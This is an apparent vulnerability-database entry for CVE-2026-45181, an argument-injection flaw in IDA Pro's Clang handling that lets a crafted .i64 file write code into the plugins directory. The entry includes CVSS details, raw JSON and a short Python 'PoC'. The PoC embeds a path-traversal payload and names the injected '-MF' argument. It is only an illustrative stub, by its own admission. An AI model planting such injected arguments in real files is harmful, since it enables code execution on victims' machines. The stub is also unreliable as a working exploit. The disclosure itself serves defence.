Security Vulnerability Report
中文
CVE-2026-45181 CVSS 6.5 MEDIUM

CVE-2026-45181

Published: 2026-05-09 22:16:08
Last Modified: 2026-05-10 08:16:09

Description

Hex-Rays IDA Pro 9.2 and 9.3 before 9.3sp2 does not block Clang dependency-file generation (via argument injection), which allows attackers to place their code into a plugins directory if the victim uses an attacker-supplied .i64 file.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Hex-Rays IDA Pro 9.2
Hex-Rays IDA Pro 9.3 < 9.3sp2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-45181 # This script demonstrates the concept of creating a malicious .i64 file # that exploits argument injection to write to the plugins directory. import struct def create_malicious_i64(filename): # This is a simplified representation. # Real exploitation requires specific binary structures within the .i64 file # that IDA parses and passes to Clang. # The payload attempts to inject arguments like: -MF ../../plugins/evil.dll # or similar paths to write a file into the plugins folder. magic = b"IDA0" # Example header # Simulating the injection vector inside a string or path field # that IDA later uses in a Clang command execution context. injection_payload = b"normal_path/../../plugins/evil_payload.dll" with open(filename, "wb") as f: f.write(magic) f.write(b"\x00" * 4) # Padding/Offset f.write(injection_payload) print(f"[+] Created malicious file: {filename}") print(f"[+] Payload aims to write to plugins directory via Clang argument injection.") print(f"[+] Victim must open this file in vulnerable IDA Pro version.") if __name__ == "__main__": create_malicious_i64("exploit.i64")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45181", "sourceIdentifier": "[email protected]", "published": "2026-05-09T22:16:08.157", "lastModified": "2026-05-10T08:16:08.500", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hex-Rays IDA Pro 9.2 and 9.3 before 9.3sp2 does not block Clang dependency-file generation (via argument injection), which allows attackers to place their code into a plugins directory if the victim uses an attacker-supplied .i64 file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "references": [{"url": "https://blog.calif.io/p/using-ida-to-find-bugs-in-ida-with", "source": "[email protected]"}, {"url": "https://docs.hex-rays.com/release-notes/9_3sp2", "source": "[email protected]"}]}}